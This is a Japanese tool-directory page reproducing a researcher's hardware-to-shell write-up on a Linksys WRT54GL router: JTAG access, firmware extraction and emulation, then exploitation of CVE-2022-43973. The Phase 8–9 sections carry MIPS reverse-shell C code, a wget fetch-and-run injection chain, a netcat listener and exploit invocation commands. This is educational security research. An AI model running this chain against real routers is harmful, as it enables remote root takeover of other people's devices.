Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Linksys-WRT54GL-Exploitation — はんだからシェルへ: Linksys WRT54GLルーターの完全ハードウェアエクスプロイト (CVE-2022-43973) | Kitploit
ツール/GitHubGitHub/umbertodellamonica/linksys-wrt54gl-exploitation
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトリバースエンジニアリングデバッガペネトレーションテストハードウェアセキュリティバイナリ解析

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
学習と教育
ペイロード開発
ファームウェア解析
GitHubumbertodellamonica/linksys-wrt54gl-exploitation

Linksys-WRT54GL-Exploitation

はんだからシェルへ: Linksys WRT54GLルーターの完全ハードウェアエクスプロイト (CVE-2022-43973)

リポジトリを見る
2234ヶ月前未レビュー

はんだからシェルへ: Linksys WRT54GL ルーターの完全なハードウェア悪用 (CVE-2022-43973)

10フェーズにわたる組み込みセキュリティ研究の旅 — JTAGピン発見からMIPSベースのコンシューマールーターでのリモートコード実行まで。

著者Umberto Della Monica
役割MScサイバーセキュリティ学生 — 組み込みセキュリティ研究者
日付2026年5月
リポジトリLinksys-WRT54GL-Exploitation

免責事項: この研究は、私が個人所有するハードウェア上で教育および研究目的のみで実施されました。許可なくアクセスしたシステムはありません。ここで説明するすべての技術は、あなたが所有するデバイス、または明示的な書面によるテスト許可を得たデバイスでのみ再現する必要があります。著者は、提示された情報の誤用について一切の責任を負いません。常に適用される法律、規制、および責任ある開示慣行に従ってください。


目次

  • エグゼクティブサマリー
  • ターゲットデバイス概要
  • フェーズ1–2: ハードウェア偵察とピン発見
  • フェーズ3–4: JTAGデバッグとファームウェア抽出
  • フェーズ5–6: ファームウェア分析とエミュレーション
  • フェーズ7: 脆弱性調査 — CVE-2022-43973
  • フェーズ8: ペイロード開発 — MIPSリバースシェル
  • フェーズ9: エクスプロイト配信とルートシェル
  • フェーズ10: ネットワークとセッション分析
  • ツールと技術
  • 主要なポイント
  • 参考文献
  • 詳細ドキュメント
  • ライセンス

エグゼクティブサマリー

  • ターゲット: Linksys WRT54GL v1.1 — Broadcom BCM5352チップセット(MIPS 32ビットアーキテクチャ)をベースとした広く展開されているコンシューマールーター
  • 脆弱性: CVE-2022-43973 — HTTP管理インターフェースのコマンドインジェクションによるリモートコード実行
  • 範囲: 物理的なJTAGアクセスからリモートルートシェルまで10フェーズにわたる完全なハードウェアからソフトウェアへの悪用チェーン
  • 成果: カスタムMIPSリバースシェルペイロードを介した完全なリモートルートシェル取得
  • ツール: JTAGulator、Attify Badge、OpenOCD、Ghidra、binwalk、FirmAE、Broadcom MIPSクロスコンパイルツールチェーンを備えたDocker

Linksys WRT54GL v1.1


ターゲットデバイス概要

Linksys WRT54GLは、これまでに製造された最も象徴的なコンシューマールーターの1つです。オープンソースのファームウェアサポートにより、愛好家や研究者の間で人気を博しました。古いにもかかわらず、現在も世界中で活発に使用されており、組み込みセキュリティ研究の関連性の高いターゲットとなっています。

Internal Architecture


フェーズ1–2: ハードウェア偵察とピン発見

ハードウェアセキュリティ評価の最初のステップは物理的検査です。デバイスの筐体を開けた後、PCB上に2つのデバッグインターフェースを特定しました。

  • 12ピンJTAGヘッダー(未実装) — ハードウェアレベルのデバッグ用
  • 10ピンシリアル(UART)ポート — 3.3V TTLレベルで動作

JTAGヘッダーが未実装だったため、仮のピンヘッダーを半田付けしてデバッグインターフェースにアクセスしました。マルチメーターを使用してグラウンドとVccラインを特定し、ターゲットが3.3Vロジックレベルで動作することを確認しました。これはチップセットへの損傷を防ぐために重要です。

JTAGピン発見(JTAGulator使用)

JTAG信号をマッピングするために、Grand Idea StudioのJTAGulatorを使用しました。これは、可能なすべてのピン組み合わせをプローブすることでデバッグインターフェースを自動的に識別するハードウェアツールです。

JTAGulatorは以下のJTAGピン配置を正常に識別しました。

root@kitploit:~
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

JTAG Port Close-up

JTAGulator Pin Discovery

Physical Connection: Linksys to JTAGulator


フェーズ3–4: JTAGデバッグとファームウェア抽出

JTAGピンが特定されたので、Attify Badge(FTDI FT2232Hチップを搭載したオープンソースのハードウェアセキュリティ評価ツール、GNU GPL v3.0)をルーターのJTAGヘッダーに接続しました。

OpenOCD(Open On-Chip Debugger)を、BCM5352ターゲットに合わせたカスタム設定で起動しました。公式の設定はこの特定のハードウェアリビジョンと互換性がなかったためです。

フラッシュメモリレイアウト

カスタムOpenOCD設定は、ルーターのフラッシュパーティション構成を定義します。

ファームウェアダンプ

CPUを停止させた後、メモリマップされたNORフラッシュの完全な4 MBダンプを実行しました。

root@kitploit:~
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Attify Badge

OpenOCD Firmware Extraction


フェーズ5–6: ファームウェア分析とエミュレーション

binwalkによる静的解析

binwalkを使用して、ファームウェアダンプを分析し、埋め込まれたファイルシステム、圧縮セグメント、カーネルイメージを特定しました。

root@kitploit:~
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # エントロピー分析
sha256sum ./dumps/wrt54gl.bin     # 整合性検証

分析により、標準的なBusyBoxベースのLinux環境を含むSquashFSルートファイルシステムが明らかになりました。binwalk -eとunsquashfsを使用して抽出し、詳細な調査を行いました。

FirmAEによるファームウェアエミュレーション

安全なテスト環境を作成するために、FirmAEを使用してファームウェアエミュレーションをセットアップしました。FirmAEはMIPSアーキテクチャをサポートする自動化されたファームウェアエミュレーションフレームワークです。これにより、仮想環境でルーターのサービス(HTTP、telnet)を再現し、物理デバイスにリスクを与えずにエクスプロイトをテストできました。

binwalk Firmware Analysis

FirmAE Emulation


フェーズ7: 脆弱性調査 — CVE-2022-43973

MIPS逆コンパイラプラグインを備えたGhidra(NSAのリバースエンジニアリングフレームワーク)を使用して、抽出されたファームウェアバイナリの静的解析を実行し、CVE-2022-43973の存在を確認しました。

脆弱性の詳細

脆弱性はルーターのCGIリクエストハンドラーに存在します。/apply.cgiエンドポイントのui_languageフォームフィールドは、サニタイズなしで任意の入力を受け入れます。シェルコマンドを;cmd;構文でラップして注入することにより、攻撃者は/upgrade.cgi経由でファームウェアアップグレードがトリガーされたときに実行されるコマンドをステージングできます。

影響を受けるファームウェアバージョン:

  • v4.30.18(最新) — セッションベースの認証が必要
  • v4.30.16(旧バージョン) — HTTPベーシック認証のみ使用

CVE-2022-43973 Confirmation in Ghidra


フェーズ8: ペイロード開発 — MIPSリバースシェル

ルーターのMIPSアーキテクチャ専用に設計されたカスタムリバースシェルをC言語で開発しました。ペイロードは攻撃者へのTCP接続を確立し、すべての標準ファイル記述子をソケットにリダイレクトし、インタラクティブシェルを起動します。

root@kitploit:~
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr

execve("/bin/sh", sh_argv, NULL);

Dockerを使用したクロスコンパイル

ターゲットアーキテクチャ用にペイロードをコンパイルするために、公式のLinksys GPLリリース(WRT54GL-ETSI_v4.30.18.006)から取得したBroadcom MIPSクロスコンパイルツールチェーン(hndtools-mipsel-linux-3.2.3)を含む再現可能なDocker環境を構築しました。

root@kitploit:~
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

結果のバイナリは移植性のために静的にリンクされています。ターゲット上に共有ライブラリの依存関係はありません。

Building the Exploit


フェーズ9: エクスプロイト配信とルートシェル

CVE-2022-43973を活用して攻撃チェーン全体を自動化するPythonエクスプロイトフレームワークを開発しました。エクスプロイトは、ui_languageパラメータを介してコマンドとして注入される4ステップのシーケンスを実行します。

攻撃シーケンス

  1. ペイロードのアップロード — wgetコマンドを注入し、攻撃者のHTTPサーバーからルーターの/tmp/XへMIPSリバースシェルバイナリをダウンロード
  2. 権限の設定 — chmod +x /tmp/Xを注入し、バイナリを実行可能にする
  3. ペイロードの実行 — /tmp/X <attacker_ip> <port>を注入し、リバースシェルを起動
  4. クリーンアップ — ui_languageをデフォルト値(en)にリセット

各コマンドはui_languageフィールド内で;cmd;としてラップされ、POST /apply.cgiを介して送信されます。続くPOST /upgrade.cgiにより実行がトリガーされます。

実行

攻撃者のマシンでは3つのターミナルが必要です。

root@kitploit:~
# 端末1: リバースシェルバイナリを提供
python -m http.server 8000

# 端末2: 着信リバースシェルを待機
nc -lvnp 4141

# 端末3: エクスプロイトを起動
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

結果: ルートシェル

リバースシェルが攻撃者のNetcatリスナーに接続し、ルーター上でインタラクティブなルートシェルを提供します。

Uploading Reverse Shell

Exploit Execution

Root Shell Access


フェーズ10: ネットワークとセッション分析

完全なエクスプロイトチェーンを検証するために、攻撃中にWiresharkでネットワークトラフィックをキャプチャしました。分析により以下が確認されました。

  • /apply.cgiおよび/upgrade.cgiへの正しいHTTP POSTインジェクションシーケンス
  • 攻撃者のHTTPサーバーからのwgetによるペイロードダウンロードの成功
  • ポート4141で確立されたリバースシェルTCP接続
  • セッションCookieと認証フローの整合性

ツールと技術


主要なポイント

  1. 物理的なアクセスは強力な攻撃ベクトルである。 JTAGはすべてのソフトウェアセキュリティメカニズムをバイパスするルートレベルのハードウェアアクセスを提供します。組み込みデバイスを展開する組織は、物理的セキュリティ制御を検討し、プロダクションファームウェアでデバッグインターフェースを無効にする必要があります。

  2. ファームウェア抽出は基本である。 ファームウェアをダンプして分析することで、ハードコードされた認証情報、設定データ、およびネットワークのみの視点からは見えない脆弱なコードパスを含む完全なソフトウェアスタックが明らかになります。

  3. エミュレーションにより安全で再現可能な研究が可能になる。 FirmAEのようなツールを使用すると、研究者は仮想環境でデバイスの動作を再現でき、物理的なハードウェアを危険にさらしたり、意図しない結果を引き起こすことなく反復テストが可能になります。

  4. 単純な入力検証の失敗は重大な影響をもたらす。 CVE-2022-43973は、Webインターフェースの1つのサニタイズされていないフォームフィールドが、ルートレベルのアクセス権を持つ完全なデバイス侵害につながることを示しています。多層防御(入力検証、最小権限、セキュアコーディング慣行)は依然として不可欠です。

  5. 再現可能なツールチェーンが重要である。 Dockerベースのクロスコンパイル環境により、ペイロードとツールを確実に再構築でき、研究結果の検証可能性と共有可能性が確保されます。

  6. レガシーデバイスは継続的なリスクをもたらす。 WRT54GLは現在も世界中で活発に使用されています。セキュリティアップデートが提供されなくなったサポート終了デバイスは、ネットワークセキュリティに対する持続的な脅威となります。


参考文献

脆弱性

  • CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
  • CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

ハードウェアツール

  • Attify Badge — https://docs.attify.com/(GNU GPL v3.0)
  • JTAGulator — Grand Idea Studio: https://github.com/grandideastudio/jtagulator
  • JTAG規格 — IEEE 1149.1(標準テストアクセスポートおよびバウンダリスキャンアーキテクチャ)

ソフトウェアツール

  • OpenOCD — https://openocd.org/
  • Ghidra — https://ghidra-sre.org/
  • FirmAE — https://github.com/pr0v3rbs/FirmAE
  • Firmadyne — https://github.com/firmadyne/firmadyne
  • binwalk — https://github.com/ReFirmLabs/binwalk

ベンダー

  • Linksys WRT54GLファームウェア — https://www.linksys.com/us/support-article?articleNum=148648
  • Linksys GPLツールチェーン — https://www.linksys.com/us/support-article?articleNum=114663

詳細ドキュメント

詳細な技術情報については、以下のドキュメントを参照してください。

ドキュメント説明
ハードウェアインベントリデバイス仕様、ピン配置、データシート、ハードウェアツール
ソフトウェアスタック

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細についてはLICENSEファイルを参照してください。

AttifyまたはJTAGulatorの回路図を再現する場合は、それぞれのライセンス(AttifyコンポーネントはGNU GPL v3.0)に従ってください。


Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec

ツールをダウンロード
仕様値
チップセットBroadcom BCM5352
CPUクロック200 MHz
アーキテクチャMIPS 32ビット(リトルエンディアン)
フラッシュメモリ4 MB NOR(0xbfc00000でメモリマップ)
RAM16 MB
ワイヤレスIEEE 802.11b/g、54 Mbps
ネットワーク4x LAN + 1x WAN、SPI対応NATファイアウォール
OSLinuxベース(BusyBox)
ブートローダーCFE(Common Firmware Environment)
パーティション説明開始アドレスサイズ
CFEブートローダー0xbfc00000256 KB
ファームウェアカーネル + ルートFS0xbfc40000~3.7 MB
NVRAM設定0xbfff000064 KB
フィールド値
CVE IDCVE-2022-43973
タイプリモートコード実行(RCE)
攻撃ベクトル認証済みHTTPリクエスト
根本原因未サニタイズのui_languageパラメータによるコマンドインジェクション
エンドポイントPOST /apply.cgi
トリガーPOST /upgrade.cgi(ファームウェアアップグレード)
影響完全なルートレベルのコマンド実行
カテゴリツール目的参照元
ハードウェアAttify BadgeJTAG/UARTインターフェースアダプターdocs.attify.com(GNU GPL v3.0)
ハードウェアJTAGulator自動デバッグピン発見Grand Idea Studio
ソフトウェアOpenOCDJTAGデバッグおよびフラッシュアクセスopenocd.org
ソフトウェアGhidra静的解析および逆コンパイルghidra-sre.org(NSA)
ソフトウェアbinwalkファームウェア解析および抽出ReFirmLabs
ソフトウェアFirmAEファームウェアエミュレーション(MIPS)GitHub
ソフトウェアFirmadyneファームウェア動的解析GitHub
ソフトウェアDocker再現可能なビルド環境docker.com
ツールチェーンhndtools-mipsel-linuxBroadcom MIPSクロスコンパイラーLinksys GPLリリース
ソフトウェアPython 3エクスプロイト自動化フレームワークpython.org
ソフトウェアWiresharkネットワークトラフィック解析wireshark.org
規格IEEE 1149.1JTAGバウンダリスキャン規格IEEE
Dockerセットアップ、OpenOCD設定、ツールチェーンの詳細、トラブルシューティング
悪用手順コマンドとスクリーンショットを含む10フェーズのステップバイステップワークフロー